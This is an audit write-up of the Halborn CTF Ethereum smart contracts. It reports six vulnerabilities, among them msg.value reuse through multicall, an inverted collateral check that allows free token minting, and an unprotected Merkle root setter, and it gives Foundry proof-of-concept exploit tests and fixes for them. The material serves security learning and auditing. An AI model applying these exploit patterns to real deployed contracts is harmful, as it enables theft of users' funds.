Halborn CTF – Ethereum | Report

By

Iwaki Hiroto

February 21, 2024

Table of Contents

Overview

This document describes the result of auditing for the smart contracts of Halborn CTF – Ethereum repository. The auditing progress is performed against the 4 contracts in the repository.

Project	Halborn CTF - Ethereum

Smart Contracts	`src/HalbornLoans.sol`
	`src/HalbornNFT.sol`
	`src/HalbornToken.sol`
	`src/libraries/Multicall.sol`

Commit SHA	fc5863c
Used Tools	Manual Review

Scope

Smart Contracts	Review Status
`src/HalbornLoas.sol`	✓
`src/HalbornNFT.sol`	✓
`src/HalbornToken.sol`	✓
`src/libraries/Multicall.sol`	✓

Risk Classification of Findings

- **High**: Assets can be stolen/lost/compromised directly (or indirectly if there is a valid attack path that does not have hand-wavy hypotheticals).

- **Medium**: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.
- **Low**: Assets are not at risk: state handling, function incorrect as to spec, issues with comments.

Summary of Findings

Severity	Count
High	4
Medium	2
Low	0
Total	6

Finding Details

High

[H-01] Malicious users can mint several NFT as they want with just paying ETH for only one NFT by using `multicall` function.

Links to Affected Code

src/libraries/Multicall.sol#L13-L24
src/HalbornNFT.sol#L59-L67

Vulnerability Details

Users can perform several execution of functions in `HalbornNFT.sol` in one calling by using following `multicall` functionality.

```solidity
function multicall(
    bytes[] calldata data
```

```
    ) external payable returns (bytes[] memory results) {
        results = new bytes[](data.length);
        for (uint256 i = 0; i < data.length; i++) {
            results[i] = AddressUpgradeable.functionDelegateCall(
                address(this),
                data[i]
            );
        }
        return results;
    }
```

Also, users can mint a Halborn NFT by paying price eth using mintBuyWithETH function.

```
    function mintBuyWithETH() external payable {
@>      require(msg.value == price, "Invalid Price");

        unchecked {
            idCounter++;
        }

        _safeMint(msg.sender, idCounter, "");
    }
```

However, malicious users can mint several NFT as they want with just paying only price eth by using `multicall` function.

Following is the test function for PoC.

```
    function testMintMulticall() public {
        vm.deal(ALICE, 1 ether);

        bytes memory item =
abi.encodeWithSignature("mintBuyWithETH()");
        bytes[] memory data = new bytes[](3);
        data[0] = item;
        data[1] = item;
        data[2] = item;

        vm.prank(ALICE);
        nft.multicall{value: 1 ether}(data);

        assertEq(ALICE, nft.ownerOf(1));
        assertEq(ALICE, nft.ownerOf(2));
        assertEq(ALICE, nft.ownerOf(3));
    }
```

As you can see, Alice could mint 3 tokens with just paying only 1 eth (price is 1 eth).

[H-02] Since `mintAirDrop` function doesn't update the `idCounter`, calling of `mintBuyWithETH` can fall into DoS permanently.

Links to Affected Code

src/HalbornNFT.sol#L45-L57

src/HalbornNFT.sol#L59-L67

Vulnerability Details

idCounter state is used to determine the id of token which user is trying to mint by calling mintBuyWithETH function. Therefore, if the token that has the same id with idCounter is already minted, mintBuyWithETH will be reverted.

On the other hand, mintAirDrop function doesn't update the idCounter state after excuting. Therefore, when the user execute mintBuyWithETH function and the calculated idCounter is same with the id of already minted token in airdrop, the execution will be reverted. Moreover, since there is no other function in the contract that can update idCounter, the mintBuyWithETH function will be permanently reverted.

Following is the test function for PoC.

```solidity
function testRevertMintAfterAirDrop() public {
    Merkle m = new Merkle();
    // Test Data
    bytes32[] memory data = new bytes32[](4);
    data[0] = keccak256(abi.encodePacked(ALICE, uint256(2))); //
Alice can mint token of id 2 in airdrop
    data[1] = keccak256(abi.encodePacked(BOB, uint256(5))); // Bob
can mint token of id 5 in airdrop

    // Get Merkle Root
    bytes32 root = m.getRoot(data);

    // Get Proofs
    bytes32[] memory ALICE_PROOF = m.getProof(data, 0);
    bytes32[] memory BOB_PROOF = m.getProof(data, 1);

    assertTrue(m.verifyProof(root, ALICE_PROOF, data[0]));
```

```
        assertTrue(m.verifyProof(root, BOB_PROOF, data[1]));

        nft.setMerkleRoot(root);

        vm.deal(ALICE, 2 ether);
        vm.deal(BOB, 2 ether);

        vm.prank(ALICE);
        nft.mintAirdrops(2, ALICE_PROOF);

        assertEq(ALICE, nft.ownerOf(2));

        vm.startPrank(BOB);
        nft.mintBuyWithETH{value: 1 ether}();
        assertEq(BOB, nft.ownerOf(1));

        vm.expectRevert();
        nft.mintBuyWithETH{value: 1 ether}();
        vm.stopPrank();
    }
```

Recommended Mitigation

Add logic that update the `idCounter` in `mintAirDrop` function.

[H-03] Since the checking collateral of `getLoan` function is incorrect, users cannot mint Halborn ERC20 token using their collateral. On the other hand, malicious users can mint ERC20 tokens without depositing collateral.

Links to Affected Code

src/HalbornLoans.sol#L58-L65

Vulnerability Details

Using `getLoan` function, users can mint Halborn ERC20 token with collaterals they deposited their Halborn NFT.

However, since the checking the balance of collateral is incorrect, users cannot mint ERC20 tokens even if they deposited their NFT. On the other hand, malicious users can mint ERC20 token without depositing NFT as collateral.

```solidity
    function getLoan(uint256 amount) external {
```

```
       require(
@>          totalCollateral[msg.sender] - usedCollateral[msg.sender] <
amount,
           "Not enough collateral"
       );
       usedCollateral[msg.sender] += amount;
       token.mintToken(msg.sender, amount);
    }
```

The marked line in above codebase should be updated as follow to be correct.

```
    totalCollateral[msg.sender] - usedCollateral[msg.sender] >= amount
```

In addition, `HalbornLoans.sol` contract has `returnLoan` function that allow users can receive the collateral back by burning their erc20 tokens.

```
    function returnLoan(uint256 amount) external {
        require(usedCollateral[msg.sender] >= amount, "Not enough
collateral");
        require(token.balanceOf(msg.sender) >= amount);
@>      usedCollateral[msg.sender] += amount;
        token.burnToken(msg.sender, amount);
    }
```

However, `returnLoan` function updates the `usedCollateral` incorrectly. To be correct, `usedCollateral` should be decreased by `amount`.

And following is the test function for PoC:

```
    function testIncorrectCheckingCollateralInGetLoan() public {
        vm.deal(ALICE, 1 ether);

        vm.prank(ALICE);
        nft.mintBuyWithETH{value: 1 ether}();

        assertEq(ALICE, nft.ownerOf(1), "Alice is not the owner of
token 1");

        vm.startPrank(ALICE);

        nft.approve(address(loans), 1);
        loans.depositNFTCollateral(1);

        vm.stopPrank();
```

```
        assertEq(address(loans), nft.ownerOf(1), "Loans contract is
not the owner of token 1");
        assertEq(loans.totalCollateral(ALICE), 2 ether);
        assertEq(loans.usedCollateral(ALICE), 0);

        vm.prank(ALICE);
        vm.expectRevert();
        loans.getLoan(1 ether);

        assertEq(token.balanceOf(BOB), 0);
        assertEq(loans.totalCollateral(BOB), 0);
        assertEq(loans.usedCollateral(BOB), 0);
        vm.prank(BOB);
        loans.getLoan(10 ether);

        assertEq(token.balanceOf(BOB), 10 ether);
    }
```

Recommended Mitigation

```
    function getLoan(uint256 amount) external {
        require(
@>          totalCollateral[msg.sender] - usedCollateral[msg.sender]
>= amount,
            "Not enough collateral"
        );
        usedCollateral[msg.sender] += amount;
        token.mintToken(msg.sender, amount);
    }


    function returnLoan(uint256 amount) external {
        require(usedCollateral[msg.sender] >= amount, "Not enough
collateral");
        require(token.balanceOf(msg.sender) >= amount);
@>      usedCollateral[msg.sender] -= amount;
        token.burnToken(msg.sender, amount);
    }
```

[H-04] setMerkleRoot function of HalbornNFT.sol should be protected by a trusted role.

Links to Affected Code

src/HalbornNFT.sol#L41-L43

Vulnerability Details

Since `setMerkleRoot` function of `HalbornNFT.sol` is not protected by any trusted role such as owner, anyone can update the root of merkle tree and mint Halborn NFT token using `mintAirDrops` function.

```
@>    function setMerkleRoot(bytes32 merkleRoot_) public
          merkleRoot = merkleRoot_;
      }
```

I think there is no need to describe the test for such a clear issue.

Recommended Mitigation

```
      function setMerkleRoot(bytes32 merkleRoot_) public onlyOwner {
          merkleRoot = merkleRoot_;
      }
```

Medium

[M-01] Since `HalbornLoans.sol` doesn't support `IERC721Receiver` interface, Halborn NFT cannot be deposited to the `HalbornLoans` contract.

Links to Affected Code

src/HalbornLoans.sol#L11

Vulnerability Details

To `HalbornLoans` contract received the deposited NFT from users as their collateral, it should support `IERC721Receiver` interface. However, the contract doesn't support the interface so that it will be reverted when users try to transfer their NFT token to deposit.

Recommended Mitigation

To execute other test, I updated the HalbornLoans contract as follow.

```
      import {IERC721Receiver} from "openzeppelin-
      contracts/contracts/token/ERC721/IERC721Receiver.sol";
```

```solidity
contract HalbornLoans is Initializable, UUPSUpgradeable,
MulticallUpgradeable, IERC721Receiver {
    // … …
    function onERC721Received(
        address ,
        address ,
        uint256 ,
        bytes calldata
    ) external pure override returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }
}
```

[M-02] In `mintAirDrop` function of `HalbornNFT.sol`, checking existence of token id is incorrect.

Links to Affected Code

src/HalbornNFT.sol#L46

Vulnerability Details

In `mintAirDrop` function of `HalbornNFT.sol`, checking existence of token id is incorrect.

```solidity
    function mintAirdrops(uint256 id, bytes32[] calldata merkleProof)
external {
@>      require(_exists(id), "Token already minted");

        bytes32 node = keccak256(abi.encodePacked(msg.sender, id));
        bool isValidProof = MerkleProofUpgradeable.verifyCalldata(
            merkleProof,
            merkleRoot,
            node
        );
        require(isValidProof, "Invalid proof.");

        _safeMint(msg.sender, id, "");
    }
```

Recommended Mitigation

To be correct, it should be updated as follow.

```solidity
        require(!_exists(id), "Token already minted");
```